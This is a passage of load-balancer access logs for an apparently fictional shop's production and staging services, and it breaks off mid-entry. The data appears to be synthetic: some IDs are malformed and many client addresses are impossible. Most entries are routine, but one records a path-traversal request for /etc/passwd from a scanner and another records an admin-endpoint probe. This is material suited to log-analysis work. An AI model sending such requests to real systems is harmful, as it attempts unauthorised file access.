2024-11-01T01:46:44.241323Z "forward" "-" "-" "10.0.201.253:443" "301" "-" "-" +https 2024-11-01T01:46:45.695116Z prod-web-alb 9.116.185.125:20142 10.0.217.195:443 0.093829 0.452671 0.078740 301 301 843 4973 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d095-8e3b2e197c874387a68926c3" "prod-web-alb.example.com" "-" 0 2024-11-01T01:46:45.695116Z "forward" "-" "-" "10.0.217.195:443" "301" "-" "-" +https 2024-11-01T01:46:46.474178Z prod-web-alb 79.145.130.37:64430 10.0.9.71:443 0.096729 0.366252 0.059524 301 301 76 7981 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d096-52f0b96eef5641c18ea61267" "prod-web-alb.example.com" "-" 1 2024-11-01T01:46:46.474178Z "forward" "-" "-" "10.0.9.71:443" "301" "-" "-" +https 2024-11-01T01:46:47.003654Z staging-alb 50.154.150.120:48139 180.88.243.208:80 0.125838 0.081863 0.142969 404 404 989 7595 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d097-5cefa808ed8c4f62b2bd4662" "staging-alb.example.com" "-" 7 2024-11-01T01:46:47.003654Z "forward" "-" "-" "180.88.243.208:80" "404" "-" "-" +https 2024-11-01T01:46:47.623654Z prod-web-alb 48.92.38.234:17533 10.0.208.218:443 0.045877 0.436622 0.039390 200 200 167 2230 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d097-64c770e531a14ff9b211e6ea" "prod-web-alb.example.com" "-" 8 2024-11-01T01:46:47.623654Z "forward" "-" "-" "10.0.208.218:443" "200" "-" "-" +https 2024-11-01T01:46:48.095739Z prod-web-alb 230.87.132.185:60022 10.0.74.4:443 0.001433 0.494820 0.027147 301 301 398 537 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d098-5fb13f20d23b4a3c8bcea0e3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:48.095739Z "forward" "-" "-" "10.0.74.4:443" "301" "-" "-" +https 2024-11-01T01:46:48.750598Z prod-api-alb 253.227.190.229:59447 10.0.152.136:443 0.008317 0.265487 0.012045 200 200 842 2176 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d098-e41706edfc4e419c879554ec" "prod-api-alb.example.com" "-" 4 2024-11-01T01:46:48.750598Z "forward" "-" "-" "10.0.152.136:443" "200" "-" "-" +https 2024-11-01T01:46:49.514967Z prod-web-alb 47.40.161.158:33128 10.0.63.227:443 0.007050 0.236661 0.082494 200 200 957 11792 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d099-dfe0766d8e454c15b724e1fa" "prod-web-alb.example.com" "-" 8 2024-11-01T01:46:49.514967Z "forward" "-" "-" "10.0.63.227:443" "200" "-" "-" +https 2024-11-01T01:46:51.059627Z prod-api-alb 247.166.218.106:31672 10.0.27.46:443 0.086041 0.392171 0.005060 200 200 998 2619 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d09b-9601cf10a2cf420e88eec028" "prod-api-alb.example.com" "-" 4 2024-11-01T01:46:51.059627Z "forward" "-" "-" "10.0.27.46:443" "200" "-" "-" +https 2024-11-01T01:46:51.754682Z staging-alb 107.111.36.65:36757 224.137.221.141:8080 0.086485 0.223666 0.015456 200 200 400 9159 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d09b-a43f1767518f4d28beb2e57b" "staging-alb.example.com" "-" 8 2024-11-01T01:46:51.754682Z "forward" "-" "-" "224.137.221.141:8080" "200" "-" "-" +https 2024-11-01T01:46:53.563707Z prod-web-alb 16.39.5.119:27327 10.0.226.242:443 0.059657 0.245676 0.091162 302 302 427 5877 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d09d-1d8b4b10d62b465ca4be3234" "prod-web-alb.example.com" "-" 3 2024-11-01T01:46:53.563707Z "forward" "-" "-" "10.0.226.242:443" "302" "-" "-" +https 2024-11-01T01:46:55.051503Z prod-web-alb 192.105.85.250:44329 10.0.82.10:443 0.027204 0.077329 0.072492 301 301 218 1657 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d09f-f48fcd704a2f40039d5fa765" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:55.051503Z "forward" "-" "-" "10.0.82.10:443" "301" "-" "-" +https 2024-11-01T01:46:56.806923Z prod-web-alb 186.247.106.70:25377 10.0.215.206:443 0.088287 0.074626 0.030524 200 200 187 465 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a0-9842cca24409499c83084aa7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:56.806923Z "forward" "-" "-" "10.0.215.206:443" "200" "-" "-" +https 2024-11-01T01:46:57.120456Z prod-web-alb 35.107.201.51:54662 10.0.52.104:443 0.043798 0.102799 0.059675 200 200 238 6609 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0a1-849173afbfa240a6a6af4721" "prod-web-alb.example.com" "-" 7 2024-11-01T01:46:57.120456Z "forward" "-" "-" "10.0.52.104:443" "200" "-" "-" +http 2024-11-01T01:46:57.965504Z staging-alb 152.142.37.216:51252 33.136.70.240:8080 0.077912 0.562141 0.060314 200 200 70 13303 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0a1-63b9f023b7c24e74a69fbb31" "staging-alb.example.com" "-" 9 2024-11-01T01:46:57.965504Z "forward" "-" "-" "33.136.70.240:8080" "200" "-" "-" +https 2024-11-01T01:46:58.218182Z prod-web-alb 26.243.200.195:39682 10.0.64.187:443 0.014652 0.114683 0.091644 200 200 104 3266 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0a2-e2bdc74272d74c689b16fc54" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:58.218182Z "forward" "-" "-" "10.0.64.187:443" "200" "-" "-" +https 2024-11-01T01:46:59.219735Z staging-alb 172.55.213.253:23524 64.187.80.59:80 0.058440 0.748355 0.045826 301 301 872 8163 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0a3-a7e6cdeb6baf42b4a985cb23" "staging-alb.example.com" "-" 7 2024-11-01T01:46:59.219735Z "forward" "-" "-" "64.187.80.59:80" "301" "-" "-" +https 2024-11-01T01:47:00.685259Z prod-api-alb 171.52.24.218:21346 10.0.32.27:443 0.095743 0.212658 0.020700 302 302 964 5565 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0a4-8ca2365c62004cd08ec4820e" "prod-api-alb.example.com" "-" 5 2024-11-01T01:47:00.685259Z "forward" "-" "-" "10.0.32.27:443" "302" "-" "-" +https 2024-11-01T01:47:01.126631Z staging-alb 93.236.18.80:41307 38.100.151.199:443 0.066749 0.318313 0.056626 200 200 238 10397 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0a5-e85524fcdcca417d9291d7ff" "staging-alb.example.com" "-" 5 2024-11-01T01:47:01.126631Z "forward" "-" "-" "38.100.151.199:443" "200" "-" "-" +https 2024-11-01T01:47:03.102257Z prod-api-alb 91.194.236.168:46045 10.0.113.69:443 0.085484 0.392146 0.030667 301 301 70 3904 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0a7-d4992105eca94090bb50ad6e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:47:03.102257Z "forward" "-" "-" "10.0.113.69:443" "301" "-" "-" +https 2024-11-01T01:47:03.972056Z prod-web-alb 224.210.210.23:36244 10.0.133.129:443 0.081549 0.430828 0.001575 302 302 388 11624 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a7-eb986734b5cf42b48117b5ec" "prod-web-alb.example.com" "-" 5 2024-11-01T01:47:03.972056Z "forward" "-" "-" "10.0.133.129:443" "302" "-" "-" +https 2024-11-01T01:47:04.916214Z prod-web-alb 104.70.66.210:13891 10.0.212.53:443 0.020038 0.402362 0.076730 200 200 785 13889 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0a8-324797b4942c4ebab238e3d4" "prod-web-alb.example.com" "-" 5 2024-11-01T01:47:04.916214Z "forward" "-" "-" "10.0.212.53:443" "200" "-" "-" +https 2024-11-01T01:47:05.187717Z staging-alb 76.102.19.244:41208 102.20.248.153:443 0.053580 0.265238 0.059966 301 301 344 9870 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0a9-72721a92b3394e008f154889" "staging-alb.example.com" "-" 6 2024-11-01T01:47:05.187717Z "forward" "-" "-" "102.20.248.153:443" "301" "-" "-" +https 2024-11-01T01:47:06.314426Z prod-web-alb 2.51.231.195:13244 10.0.172.69:443 0.005878 0.210629 0.049472 200 200 639 9553 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0aa-8b40bc84d6854659bf6da755" "-" "-" 4 2024-11-01T01:47:06.314426Z "forward" "-" "-" "10.0.172.69:443" "200" "-" "-" +http 2024-11-01T01:47:07.565199Z staging-alb 230.6.35.14:39116 136.169.228.98:443 0.013005 0.208850 0.085622 200 200 392 14375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ab-19f7981cc2224d7990851baf" "staging-alb.example.com" "-" 8 2024-11-01T01:47:07.565199Z "forward" "-" "-" "136.169.228.98:443" "200" "-" "-" +http 2024-11-01T01:47:08.072816Z staging-alb 45.81.180.100:53907 33.87.174.139:443 0.077119 0.391089 0.094156 200 200 424 1996 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0ac-ef886b6df5d140e18eccc7be" "staging-alb.example.com" "-" 10 2024-11-01T01:47:08.072816Z "forward" "-" "-" "33.87.174.139:443" "200" "-" "-" +https 2024-11-01T01:47:09.811900Z prod-web-alb 193.193.97.94:18967 10.0.4.91:443 0.001771 0.014687 0.061748 200 200 737 7630 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ad-dcb91e8799fa47a48eca6591" "prod-web-alb.example.com" "-" 9 2024-11-01T01:47:09.811900Z "forward" "-" "-" "10.0.4.91:443" "200" "-" "-" +https 2024-11-01T01:47:10.250291Z prod-web-alb 107.159.63.118:60160 10.0.27.134:443 0.017204 0.223629 0.061614 200 200 780 5697 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ae-9e7083e23a6a466aa6ebb0aa" "prod-web-alb.example.com" "-" 0 2024-11-01T01:47:10.250291Z "forward" "-" "-" "10.0.27.134:443" "200" "-" "-" +https 2024-11-01T01:47:12.146286Z staging-alb 118.252.251.174:29119 246.142.227.6:80 0.059966 0.331944 0.029031 200 200 27 7032 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b0-aeb24fc91e7c446395a0dffb" "staging-alb.example.com" "-" 1 2024-11-01T01:47:12.146286Z "forward" "-" "-" "246.142.227.6:80" "200" "-" "-" +https 2024-11-01T01:47:13.762021Z prod-api-alb 61.251.96.217:22595 10.0.103.144:443 0.013490 0.400993 0.074617 404 404 825 11758 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b1-abd8fa0bab4d4f32a2913ddf" "prod-api-alb.example.com" "-" 7 2024-11-01T01:47:13.762021Z "forward" "-" "-" "10.0.103.144:443" "404" "-" "-" +http 2024-11-01T01:47:14.805112Z staging-alb 67.39.152.80:27440 16.1.123.152:443 0.137659 0.207420 0.095146 200 200 776 4293 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b2-ae2e7fb95cd44905a09f498b" "staging-alb.example.com" "-" 9 2024-11-01T01:47:14.805112Z "forward" "-" "-" "16.1.123.152:443" "200" "-" "-" +https 2024-11-01T01:47:15.229252Z prod-web-alb 77.196.180.187:26417 10.0.87.84:443 0.008692 0.298354 0.075526 200 200 480 13592 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0b3-033175556245428f9e98eab8" "prod-web-alb.example.com" "-" 3 2024-11-01T01:47:15.229252Z "forward" "-" "-" "10.0.87.84:443" "200" "-" "-" +https 2024-11-01T01:47:16.465645Z prod-web-alb 179.200.201.93:27604 10.0.108.129:443 0.013951 0.067133 0.034478 404 404 648 4069 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0b4-6dee4509daca4b96818317b9" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:16.465645Z "forward" "-" "-" "10.0.108.129:443" "404" "-" "-" +https 2024-11-01T01:47:16.694867Z staging-alb 109.99.160.113:52510 216.23.254.110:80 0.087022 0.264200 0.067543 301 301 399 372 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0b4-b646aff98a084f159a49fee0" "-" "-" 4 2024-11-01T01:47:16.694867Z "forward" "-" "-" "216.23.254.110:80" "301" "-" "-" +https 2024-11-01T01:47:18.210247Z staging-alb 52.30.235.52:47644 180.104.89.106:443 0.003858 0.369513 0.059068 301 301 799 4184 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0b6-4965452aab9d4fc9a5298ac0" "staging-alb.example.com" "-" 6 2024-11-01T01:47:18.210247Z "forward" "-" "-" "180.104.89.106:443" "301" "-" "-" +https 2024-11-01T01:47:20.059820Z prod-api-alb 185.181.6.37:14405 10.0.61.86:443 0.034875 0.083165 0.050154 301 301 560 12443 "POST /admin HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b8-d55c0d54f243401388246039" "-" "-" 10 2024-11-01T01:47:20.059820Z "forward" "-" "-" "10.0.61.86:443" "301" "-" "-" +https 2024-11-01T01:47:21.373025Z prod-web-alb 154.204.237.253:44830 10.0.71.29:443 0.095367 0.227073 0.012869 404 404 5 319 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0b9-ad6b547fad6049aea39a08b2" "prod-web-alb.example.com" "-" 10 2024-11-01T01:47:21.373025Z "forward" "-" "-" "10.0.71.29:443" "404" "-" "-" +https 2024-11-01T01:47:21.568357Z prod-api-alb 217.61.119.127:21278 10.0.122.138:443 0.078464 0.147394 0.067145 404 404 7 3890 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0b9-236e6509684e471998bfb56f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:47:21.568357Z "forward" "-" "-" "10.0.122.138:443" "404" "-" "-" +https 2024-11-01T01:47:23.190034Z staging-alb 137.107.97.19:47350 245.82.171.48:8080 0.032459 0.176018 0.100966 200 200 758 1795 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0bb-823df8f488004159814f3f59" "staging-alb.example.com" "-" 8 2024-11-01T01:47:23.190034Z "forward" "-" "-" "245.82.171.48:8080" "200" "-" "-" +http 2024-11-01T01:47:24.121767Z staging-alb 194.2.203.241:32604 237.254.204.49:443 0.054182 0.532915 0.068945 301 301 577 2894 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0bc-268086754c504b65b06d7650" "staging-alb.example.com" "-" 7 2024-11-01T01:47:24.121767Z "forward" "-" "-" "237.254.204.49:443" "301" "-" "-" +https 2024-11-01T01:47:24.691917Z prod-web-alb 181.210.41.55:14065 10.0.103.152:443 0.024084 0.286404 0.099756 200 200 567 11505 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0bc-da0d5c20746a47d7b50e8fb1" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:24.691917Z "forward" "-" "-" "10.0.103.152:443" "200" "-" "-" +https 2024-11-01T01:47:25.678529Z staging-alb 166.167.171.5:14685 104.78.156.239:80 0.019330 0.725874 0.016825 404 404 626 14045 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0bd-680578436eeb49b0b7fa3e60" "staging-alb.example.com" "-" 9 2024-11-01T01:47:25.678529Z "forward" "-" "-" "104.78.156.239:80" "404" "-" "-" +https 2024-11-01T01:47:27.260194Z prod-web-alb 250.82.66.124:50601 10.0.110.101:443 0.035688 0.209347 0.059646 404 404 460 3052 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0bf-c0fd90bd0f5e4757a90fa791" "prod-web-alb.example.com" "-" 7 2024-11-01T01:47:27.260194Z "forward" "-" "-" "10.0.110.101:443" "404" "-" "-" +https 2024-11-01T01:47:29.023720Z prod-web-alb 96.97.168.224:31921 10.0.164.101:443 0.063542 0.058080 0.007999 302 302 816 9624 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c1-0d024cdc2d6a4386b298d37d" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:29.023720Z "forward" "-" "-" "10.0.164.101:443" "302" "-" "-" +http 2024-11-01T01:47:30.265560Z staging-alb 163.152.184.190:25012 200.251.140.179:443 0.131343 0.447926 0.001125 200 200 941 5795 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0c2-2a7d5fe4c1fa4ff29a6643c7" "staging-alb.example.com" "-" 9 2024-11-01T01:47:30.265560Z "forward" "-" "-" "200.251.140.179:443" "200" "-" "-" +https 2024-11-01T01:47:30.458737Z prod-web-alb 193.27.228.240:11274 10.0.112.56:443 0.075151 0.268392 0.036978 404 404 210 10393 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c2-6d6009d6a7ca4cb8b78768f5" "-" "-" 9 2024-11-01T01:47:30.458737Z "forward" "-" "-" "10.0.112.56:443" "404" "-" "-" +http 2024-11-01T01:47:31.718369Z staging-alb 124.122.194.30:33047 175.92.178.122:8080 0.088090 0.434487 0.004295 301 301 933 1604 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c3-3d15df91211c4bf9a3a03322" "staging-alb.example.com" "-" 10 2024-11-01T01:47:31.718369Z "forward" "-" "-" "175.92.178.122:8080" "301" "-" "-" +https 2024-11-01T01:47:33.152254Z prod-web-alb 92.162.221.187:59006 10.0.13.176:443 0.026750 0.319324 0.037433 200 200 774 7286 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0c5-97f37ea9422f4547a544721a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:33.152254Z "forward" "-" "-" "10.0.13.176:443" "200" "-" "-" +https 2024-11-01T01:47:33.974498Z staging-alb 151.1.114.242:39792 145.137.11.188:8080 0.049763 0.430746 0.117894 301 301 701 13345 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 